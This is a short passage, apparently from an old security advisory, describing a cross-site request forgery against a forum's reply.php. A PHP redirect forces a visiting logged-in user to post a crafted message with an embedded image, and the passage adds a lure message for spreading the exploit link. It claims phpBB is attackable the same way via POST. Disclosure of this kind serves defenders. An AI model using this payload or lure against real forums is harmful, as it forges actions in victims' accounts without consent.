<?php
        header ("Location: http://localhost/wbboard/reply.php?threadid=7&boardid=58&action=send&subject=check%20this%20out&message=test[IMG]http://localhost/~seazon/art/eros/236.jpg[/IMG]&signature=1"); /* Redirect browser*/

3.Send a message like this
"Hey, I know how to exploit this forum [URL]http://host.com/exploit.php[/URL]"

SOLUTION

I dont think what it is necessary.

P.S. : I think what all main forums is exploitable for this way.
       For phpBB you must use HTTP POST method
